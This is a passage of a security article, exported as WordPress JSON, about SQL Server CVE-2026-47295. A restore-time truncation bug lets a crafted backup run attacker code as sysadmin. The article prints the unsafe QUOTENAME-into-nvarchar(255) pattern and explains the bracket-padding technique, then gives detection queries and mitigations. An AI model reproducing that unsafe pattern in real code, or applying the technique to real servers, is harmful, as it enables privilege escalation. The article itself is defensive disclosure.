vulnerability?<\/h2>\n\n\n\n<p><strong>The root cause is unsafe dynamic procedure-name construction, combined with too small a buffer for the maximum possible quoted identifier.<\/strong><\/p>\n\n\n\n<p>The vulnerable declaration is <code>DECLARE @proc nvarchar(255)<\/code>, and the vulnerable assignment is <code>SELECT @proc = quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code>.<\/p>\n\n\n\n<p>The assumption appears to be that 255 characters is enough to hold the generated procedure name &#8211; but it&#8217;s not, since <code>@dbname<\/code> is <code>sysname<\/code> and can therefore be up to 128 characters.<\/p>\n\n\n\n<p>And, because <code>QUOTENAME()<\/code> <em>must<\/em> escape closing brackets, a valid 125-character database name can expand to 252 characters after quoting. Once the suffix is appended, the generated value becomes 281 characters. <\/p>\n\n\n\n<p>Clearly, this doesn&#8217;t fit in <code>nvarchar(255)<\/code>, so SQL Server silently truncates the value &#8211; and that truncated value is still syntactically valid enough to be executed as a procedure name. The result is a procedure-name injection primitive.<\/p>\n\n\n\n<p>So, the vulnerability is <em>not<\/em> caused by <code>QUOTENAME()<\/code> being unsafe &#8211; it&#8217;s just doing what it&#8217;s supposed to do. The actual problem is that the code doesn&#8217;t allocate enough space for the <em>result<\/em> of <code>QUOTENAME()<\/code> <em>and<\/em> the suffix.<\/p>\n\n\n\n<p><strong>This is exactly why, in security-sensitive dynamic SQL paths, truncation can very easily escalate from a simple &#8216;correctness&#8217; bug to a far more significant &#8211; and dangerous &#8211; code execution bug.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-quotename-wasn-t-enough\">Why QUOTENAME wasn&#8217;t enough<\/h2>\n\n\n\n<p><code>QUOTENAME()<\/code> is often recommended for safely delimiting SQL Server identifiers, and that recommendation is still valid. However, it only helps if the result is preserved correctly. This pattern, for example, is unsafe:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DECLARE @proc nvarchar(255);\n\nSELECT @proc = QUOTENAME(@dbname) + N'.sys.SomeProcedure';\n\nEXEC @proc;\n<\/pre><\/div>\n\n\n\n<p>The safe version must ensure the destination variable can <em>always<\/em> hold the fully-generated string. For this case, the maximum size must account for:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">Maximum sysname input:        128 characters\nWorst-case escaped brackets:  up to 256 characters\nWrapping brackets:            2 characters\nSuffix:                       length of \".sys.sp_MSremovedbreplication\"<\/pre><\/div>\n\n\n\n<p><strong>Therefore the buffer <em>must<\/em> be larger than 255 characters.<\/strong> A safer declaration would be<br> <code>DECLARE @proc nvarchar(4000);<\/code>, or another size large enough to hold the maximum possible quoted identifier and suffix.<\/p>\n\n\n\n<p><strong>Size alone is not the only lesson to learn here. The code should also validate that the generated value was not truncated, avoid executing attacker-influenced object names where possible, and ensure that internal elevated paths cannot resolve to user-created objects.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-this-vulnerability-matters-for-restore-workflows\">Why this vulnerability matters for restore workflows<\/h2>\n\n\n\n<p><strong>This SQL Server vulnerability is important because it changes how we should think about database restores.<\/strong><\/p>\n\n\n\n<p>Restoring a database is often considered a safe administrative operation, as long as the administrator trusts the person requesting the restore, or trusts the source of the backup. However, the restore process <em>itself<\/em> can execute internal code paths that interact with restored metadata.<\/p>\n\n\n\n<p>In this case, the dangerous combination was:<\/p>\n\n\n\n<p><strong>Untrusted backup<\/strong><br>+ Replication metadata<br>+ Crafted database \/ schema names<br>+ Internal restore cleanup<br>+ Elevated execution context<br>+ Truncation of a dynamic procedure name<br><strong>= Privilege escalation<\/strong><\/p>\n\n\n\n<p>This is especially relevant in environments where restores are routine, such as:<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>QA refreshes<br><br><\/li>\n\n\n\n<li>Disaster recovery tests<br><br><\/li>\n\n\n\n<li>Production support restores<br><br><\/li>\n\n\n\n<li>Customer-provided backup analysis<br><br><\/li>\n\n\n\n<li>Migration dry runs<br><br><\/li>\n\n\n\n<li>Vendor application troubleshooting<br><br><\/li>\n\n\n\n<li>Managed database service operations<\/li>\n<\/ul>\n<\/div>\n\n\n<p>A DBA may restore a backup just to inspect it, and a consultant may restore a customer database in a lab. What about a cloud provider? They could restore customer databases as part of managed workflows. Not to mention the internal teams restoring a copy of production into a lower environment every night&#8230;<\/p>\n\n\n\n<p><strong>They&#8217;re all vulnerable: if the backup is malicious, the restore itself may be the moment the attack lands.<\/strong><\/p>\n\n\n\n<section id=\"my-first-block-block_53318dd314e481adbc5404171e3da6c3\" class=\"my-first-block alignwide\">\n    <div class=\"bg-brand-600 text-base-white py-5xl px-4xl rounded-sm bg-gradient-to-r from-brand-600 to-brand-500 red\">\n        <div class=\"gap-4xl items-start md:items-center flex flex-col md:flex-row justify-between\">\n            <div class=\"flex-1 col-span-10 lg:col-span-7\">\n                <h3 class=\"mt-0 font-display mb-2 text-display-sm\">Subscribe to the Simple Talk newsletter<\/h3>\n                <div class=\"child:last-of-type:mb-0\">\n                                            Get selected articles, event information, podcasts and other industry content delivered straight to your inbox.                                    <\/div>\n            <\/div>\n                                            <a href=\"https:\/\/www.red-gate.com\/simple-talk\/subscribe\/\" class=\"btn btn--secondary btn--lg\" aria-label=\"Subscribe: Subscribe to the Simple Talk newsletter\">Subscribe<\/a>\n                    <\/div>\n    <\/div>\n<\/section>\n\n\n<h2 class=\"wp-block-heading\" id=\"h-what-s-the-impact-of-this-sql-server-vulnerability\">What&#8217;s the impact of this SQL Server vulnerability?<\/h2>\n\n\n\n<p><strong>The demonstrated impact of this vulnerability is full SQL Server instance compromise.<\/strong> <strong>Once attacker-controlled T-SQL runs as the elevated restore context, the attacker can do anything that context can do.<\/strong><\/p>\n\n\n\n<p>The proof-of-concept creates a new login and adds it to <code>sysadmin<\/code>, but that&#8217;s only one example. Depending on configuration and privileges, an attacker could potentially:<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li>Create or modify server-level logins<br><br><\/li>\n\n\n\n<li>Add users to privileged server roles<br><br><\/li>\n\n\n\n<li>Change server configuration<br><br><\/li>\n\n\n\n<li>Disable or weaken auditing<br><br><\/li>\n\n\n\n<li>Read or modify data in other databases<br><br><\/li>\n\n\n\n<li>Create persistence through jobs, procedures, triggers, or credentials<br><br><\/li>\n\n\n\n<li>Stage further attacks through SQL Server Agent or external features<\/li>\n<\/ul>\n<\/div>\n\n\n<p><strong>Bottom line: a restored database should <em>not<\/em> be able to execute attacker-controlled code as <code>sa<\/code> during restore<\/strong> <strong>&#8211; but<\/strong> <strong>this vulnerability allowed exactly that<\/strong> <strong>to happen.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-detect-the-vulnerability\">How to detect the vulnerability<\/h2>\n\n\n\n<p>After applying the Microsoft security update, the primary mitigation is patching. However, defenders may still want to hunt for signs of prior exploitation or suspicious restore activity. Useful areas to review include:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-recently-restored-databases-with-unusual-names\">Recently restored databases with unusual names<\/h3>\n\n\n\n<p>Look for database names containing unusual quantities of closing square brackets or other suspicious identifier patterns, such as:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT\n    name,\n    create_date,\n    modify_date\nFROM sys.databases\nWHERE name LIKE '%]%'\nORDER BY create_date DESC;\n<\/pre><\/div>\n\n\n\n<p>A database name containing ] is not automatically malicious, but a very long sequence of closing brackets is highly unusual.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-suspicious-schemas-and-procedures\">Suspicious schemas and procedures<\/h3>\n\n\n\n<p>Look for schemas and procedures with unusual names in recently restored databases. For a specific database:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT\n    s.name AS schema_name,\n    o.name AS object_name,\n    o.type_desc,\n    o.create_date,\n    o.modify_date\nFROM sys.objects AS o\nJOIN sys.schemas AS s\n    ON o.schema_id = s.schema_id\nWHERE s.name LIKE '%]%'\n   OR o.name IN (N'sy')\nORDER BY o.create_date DESC;<\/pre><\/div>\n\n\n\n<p>Again, <code>sy<\/code> is not <em>inherently<\/em> malicious but &#8211; in the context of this vulnerability &#8211; a procedure named <code>sy<\/code> under a strange bracket-heavy schema is suspicious.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-unexpected-sysadmin-role-membership\">Unexpected sysadmin role membership<\/h3>\n\n\n\n<p>Check recent and unexpected <code>sysadmin<\/code> members:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT\n    sp.name AS login_name,\n    sp.type_desc,\n    sp.create_date,\n    sp.modify_date\nFROM sys.server_role_members AS srm\nJOIN sys.server_principals AS role_principal\n    ON srm.role_principal_id = role_principal.principal_id\nJOIN sys.server_principals AS sp\n    ON srm.member_principal_id = sp.principal_id\nWHERE role_principal.name = N'sysadmin'\nORDER BY sp.create_date DESC;<\/pre><\/div>\n\n\n\n<p>If a new login appeared around the time of a restore, investigate immediately.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-restore-history\">Restore history<\/h3>\n\n\n\n<p>Review restore history in <code>msdb<\/code>:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">SELECT\n    rh.restore_date,\n    rh.destination_database_name,\n    rh.user_name,\n    bs.database_name AS source_database_name,\n    bmf.physical_device_name\nFROM msdb.dbo.restorehistory AS rh\nLEFT JOIN msdb.dbo.backupset AS bs\n    ON rh.backup_set_id = bs.backup_set_id\nLEFT JOIN msdb.dbo.backupmediafamily AS bmf\n    ON bs.media_set_id = bmf.media_set_id\nORDER BY rh.restore_date DESC;<\/pre><\/div>\n\n\n\n<p>This can help correlate suspicious server-level changes with database restores.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-default-trace-audit-extended-events-and-siem-logs\">Default trace, audit, Extended Events, and SIEM logs<\/h3>\n\n\n\n<p>Depending on your logging configuration, review events around:<\/p>\n\n\n<div class=\"block-core-list\">\n<ul class=\"wp-block-list\">\n<li><code>RESTORE DATABASE<\/code><br><br><\/li>\n\n\n\n<li><code>CREATE LOGIN<\/code><br><br><\/li>\n\n\n\n<li><code>ALTER SERVER ROLE<\/code><br><br><\/li>\n\n\n\n<li>Changes to <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/setting-up-your-sql-server-agent-correctly\/\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server Agent<\/a> jobs<br><br><\/li>\n\n\n\n<li>Changes to auditing configuration<br><br><\/li>\n\n\n\n<li>Creation of suspicious stored procedures after restore<\/li>\n<\/ul>\n<\/div>\n\n\n<p>If <a href=\"https:\/\/learn.microsoft.com\/en-us\/sql\/relational-databases\/security\/auditing\/sql-server-audit-database-engine?view=sql-server-ver17\" target=\"_blank\" rel=\"noreferrer noopener\">SQL Server Audit<\/a> is enabled, check for server principal and role membership changes.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-how-to-prevent-the-vulnerability-mitigation\">How to prevent the vulnerability (mitigation)<\/h2>\n\n\n\n<p><strong>The most important mitigation is to apply the SQL Server security update that fixes CVE-2026-47295.<\/strong> Beyond patching, though, the broader operational recommendations are:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-treat-untrusted-backups-as-untrusted-code\">Treat untrusted backups as untrusted code<\/h3>\n\n\n\n<p>A backup from an unknown or lower-trust source should not be restored directly onto a sensitive SQL Server instance.<\/p>\n\n\n\n<p>Use isolated restore environments for vendor and customer-provided backups, and backups from compromised environments, lower-trust networks, and those used for malware or incident response analysis.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-avoid-restoring-untrusted-backups-on-production-adjacent-instances\">Avoid restoring untrusted backups on production-adjacent instances<\/h3>\n\n\n\n<p>A \u201ctemporary\u201d restore on a shared administrative instance can still expose sensitive credentials, linked servers, jobs, or privileged service accounts. Use disposable lab instances whenever possible.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-monitor-restore-workflows\">Monitor restore workflows<\/h3>\n\n\n\n<p>Organizations often monitor application queries but pay less attention to restore operations. This is dangerous &#8211; you <em>should<\/em> be paying attention to restore operations.<\/p>\n\n\n\n<p>After all, a restore is a privileged event, one that can introduce metadata, code, users, permissions, jobs, and configuration assumptions. It should be logged, reviewed, and correlated with server-level changes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-review-replication-artifacts-after-restore\">Review replication artifacts after restore<\/h3>\n\n\n\n<p>Replication metadata is complex and often trusted by internal SQL Server workflows. After restoring a database with replication artifacts, you should always review replication system tables and stored procedures, <a href=\"https:\/\/www.red-gate.com\/simple-talk\/databases\/sql-server\/database-administration-sql-server\/sql-server-triggers-good-scary\/\" target=\"_blank\" rel=\"noreferrer noopener\">triggers<\/a>, agent jobs, database ownership, and suspicious schemas and object names.<\/p>\n\n\n\n<p>However, this vulnerability shows that post-restore review is not always sufficient. If the restore itself can trigger code execution, the review may happen too late.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-follow-least-privilege-for-restore-operators\">Follow least privilege for restore operators<\/h3>\n\n\n\n<p>The ability to restore databases is powerful. Users with restore permissions may be able to introduce databases, metadata, ownership chains, and potentially dangerous objects into an instance. Even after this specific vulnerability is patched, restore rights should be treated as sensitive administrative permissions.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-the-importance-of-secure-t-sql-development\">The importance of secure T-SQL development<\/h2>\n\n\n\n<p>This vulnerability also emphasizes the importance of secure T-SQL development. Some key takeaways are:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-identifier-quoting-must-include-buffer-sizing\">Identifier quoting must include buffer sizing<\/h3>\n\n\n\n<p>Using <code>QUOTENAME()<\/code> is not enough if the result is stored in a variable that can truncate it. Any code like this should be reviewed carefully:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">DECLARE @sql nvarchar(255);\n\nSET @sql = QUOTENAME(@name) + N'.some.long.suffix';<\/pre><\/div>\n\n\n\n<p>The maximum output of <code>QUOTENAME()<\/code> must be considered.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-truncation-can-be-exploitable\">Truncation can be exploitable<\/h3>\n\n\n\n<p>In dynamic SQL, string truncation can often transform from being just a reliability problem into being a security problem. This is because a truncated string may still be syntactically valid and &#8211; worse still &#8211; it may even become valid in a different way than the developer intended. That&#8217;s exactly what happened in this vulnerability.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-elevated-internal-workflows-must-not-resolve-attacker-controlled-objects\">Elevated internal workflows must not resolve attacker-controlled objects<\/h3>\n\n\n\n<p>If an internal elevated procedure must execute another procedure, it should avoid name resolution paths that can be influenced by attacker-controlled database metadata.<\/p>\n\n\n\n<p>This is especially important during restore, attach, upgrade, replication cleanup, and other operations where SQL Server processes metadata that originated outside the current instance.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-restore-is-a-trust-boundary\">Restore is a trust boundary<\/h3>\n\n\n\n<p>Restore code processes external data, so should be designed with the same level of suspicion as import parsers, deserializers, and migration engines. Yes, a backup may come from SQL Server, but that doesn&#8217;t mean it&#8217;s a <em>trusted<\/em> SQL Server.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Conclusion<\/h2>\n\n\n\n<p><strong>CVE-2026-47295 is a good example of why SQL Server security research often becomes interesting at the boundary between data, metadata, and internal engine workflows.<\/strong> <strong>This vulnerability isn&#8217;t a classic application SQL injection, or  a simple missing quote escape. Instead, it&#8217;s a truncation bug in an internal restore \/ replication-cleanup procedure.<\/strong><\/p>\n\n\n\n<p>The vulnerable procedure built a procedure name using <code>quotename(@dbname) + '.sys.sp_MSremovedbreplication'<\/code>, and stored the result in <code>nvarchar(255)<\/code>.<\/p>\n\n\n\n<p>For a carefully crafted database name, the quoted identifier plus suffix exceeded 255 characters, so SQL Server silently truncated the value. That truncated value could then be shaped into a valid reference to an attacker-controlled procedure inside the restored database.<\/p>\n\n\n\n<p>During <code>RESTORE DATABASE<\/code>, SQL Server followed the replication cleanup path:<\/p>\n\n\n\n<div class=\"wp-block-urvanov-syntax-highlighter-code-block\"><pre class=\"lang:tsql decode:true \">RESTORE DATABASE\n    -&gt; sys.sp_restoredbreplication\n        -&gt; sys.sp_MSrestoredbreplication\n            -&gt; sys.sp_MSremovedbreplication_internal\n                -&gt; attacker-controlled procedure<\/pre><\/div>\n\n\n\n<p>Because that path ran under an elevated internal context, the attacker-controlled procedure executed with enough privileges to create a new login and add it to <code>sysadmin<\/code>.<\/p>\n\n\n\n<p><strong>The most important takeaway is simple: a database backup is not just data. It&#8217;s metadata, code, configuration, and trust assumptions packaged into a file.<\/strong> <\/p>\n\n\n\n<p><strong>When that file is restored, SQL Server may act on those assumptions automatically.<\/strong> <strong>That makes restore workflows a security boundary \u2014 and security boundaries deserve the same scrutiny as any other path that processes untrusted input.<\/strong><\/p>\n\n\n\n<section id=\"faq\" class=\"faq-block my-5xl\">\n    <h2>FAQs: The SQL Server CVE-2026-47295 security vulnerability<\/h2>\n\n                        <h3 class=\"mt-4xl\">1. What is the SQL Server CVE-2026-47295 security vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <p class=\"font-claude-response-body break-words whitespace-normal\">It&#8217;s a SQL Server vulnerability in the restore\/replication-cleanup code path that allows a malicious backup file to execute attacker-controlled T-SQL with elevated (effectively <code>sysadmin<\/code>) privileges when it&#8217;s restored.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">2. Which SQL Server component is affected?<\/h3>\n            <div class=\"faq-answer\">\n                <p>The vulnerable code is in <code class=\"bg-text-200\/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">sys.sp_MSremovedbreplication_internal<\/code>, reached via the call chain <code class=\"bg-text-200\/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">RESTORE DATABASE \u2192 sys.sp_restoredbreplication \u2192 sys.sp_MSrestoredbreplication \u2192 sys.sp_MSremovedbreplication_internal<\/code>.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">3. How does the exploit work?<\/h3>\n            <div class=\"faq-answer\">\n                <p>The procedure builds a dynamic name with <code class=\"bg-text-200\/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">QUOTENAME(@dbname) + '.sys.sp_MSremovedbreplication'<\/code> and stores it in an <code class=\"bg-text-200\/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">nvarchar(255)<\/code> variable. A database name made of many closing square brackets (<code class=\"bg-text-200\/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">]<\/code>) expands past 255 characters after quoting, so SQL Server truncates it \u2014 and the truncated string resolves to an attacker-planted stored procedure instead.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">4. What&#039;s the real-world impact?<\/h3>\n            <div class=\"faq-answer\">\n                <p>Full instance compromise. The proof of concept creates a new SQL Server login and adds it to the sysadmin server role purely by restoring a backup \u2014 before any admin has reviewed the restored database.<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">5. Do I need to do anything besides patch?<\/h3>\n            <div class=\"faq-answer\">\n                <p class=\"font-claude-response-body break-words whitespace-normal\">Patching is the primary fix. Beyond that, treat untrusted backups (vendor, customer, or lower-trust source) as untrusted code: restore them only in isolated lab instances, monitor restore activity, and audit unexpected sysadmin role membership and unusual database\/schema names (e.g., long runs of <code class=\"bg-text-200\/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]\">]<\/code>).<\/p>\n            <\/div>\n                    <h3 class=\"mt-4xl\">6. Is this a traditional SQL injection vulnerability?<\/h3>\n            <div class=\"faq-answer\">\n                <div data-index=\"1\">\n<div role=\"article\" aria-label=\"Message 2 of 8\">\n<div data-test-render-count=\"1\">\n<div class=\"group\">\n<div class=\"contents\">\n<div class=\"group relative relative pb-[var(--msg-assistant-pb,0.75rem)]\" data-is-streaming=\"false\">\n<div class=\"font-claude-response relative leading-[1.65rem] [&amp;_pre&gt;div]:bg-bg-000\/50 [&amp;_pre&gt;div]:border-0.5 [&amp;_pre&gt;div]:border-border-400 [&amp;_.ignore-pre-bg&gt;div]:bg-transparent [&amp;_.standard-markdown_:is(p,blockquote,h1,h2,h3,h4,h5,h6)]:pl-2 [&amp;_.standard-markdown_:is(p,blockquote,ul,ol,h1,h2,h3,h4,h5,h6)]:pr-8 [&amp;_.progressive-markdown_:is(p,blockquote,h1,h2,h3,h4,h5,h6)]:pl-2 [&amp;_.progressive-markdown_:is(p,blockquote,ul,ol,h1,h2,h3,h4,h5,h6)]:pr-8\">\n<div>\n<div class=\"grid grid-rows-[auto_auto] min-w-0\">\n<div class=\"row-start-2 col-start-1 relative grid grid-rows-[auto_auto] isolate min-w-0\">\n<div class=\"row-start-1 col-start-1 relative z-[2] min-w-0\">\n<div>\n<div>\n<div class=\"standard-markdown grid-cols-1 grid [&amp;_&gt;_*]:min-w-0 gap-3 standard-markdown\">\n<p class=\"font-claude-response-body break-words whitespace-normal\">No. There&#8217;s no application form or string concatenation involved \u2014 it&#8217;s a procedure-name injection caused by silent string truncation of a dynamically built object name, triggered purely through database\/schema naming and backup\/restore.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n            <\/div>\n            <\/section>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2026-47295: a truncation bug in SQL Server&#8217;s replication cleanup lets a malicious backup execute attacker code as sysadmin during RESTORE DATABASE. Learn more, including how to prevent it.&hellip;<\/p>\n","protected":false},"author":65554,"featured_media":111829,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[143523,53,143530,46,143524],"tags":[4168,4619,5765,4150,4151,159394],"coauthors":[6809],"class_list":["post-111803","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-databases","category-featured","category-security","category-data-security-privacy-compliance","category-sql-server","tag-database","tag-security","tag-security-and-compliance","tag-sql","tag-sql-server","tag-sql-server-security-vulnerabilities"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/111803","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/users\/65554"}],"replies":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/comments?post=111803"}],"version-history":[{"count":10,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/111803\/revisions"}],"predecessor-version":[{"id":112040,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/posts\/111803\/revisions\/112040"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media\/111829"}],"wp:attachment":[{"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/media?parent=111803"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/categories?post=111803"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/tags?post=111803"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.red-gate.com\/simple-talk\/wp-json\/wp\/v2\/coauthors?post=111803"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}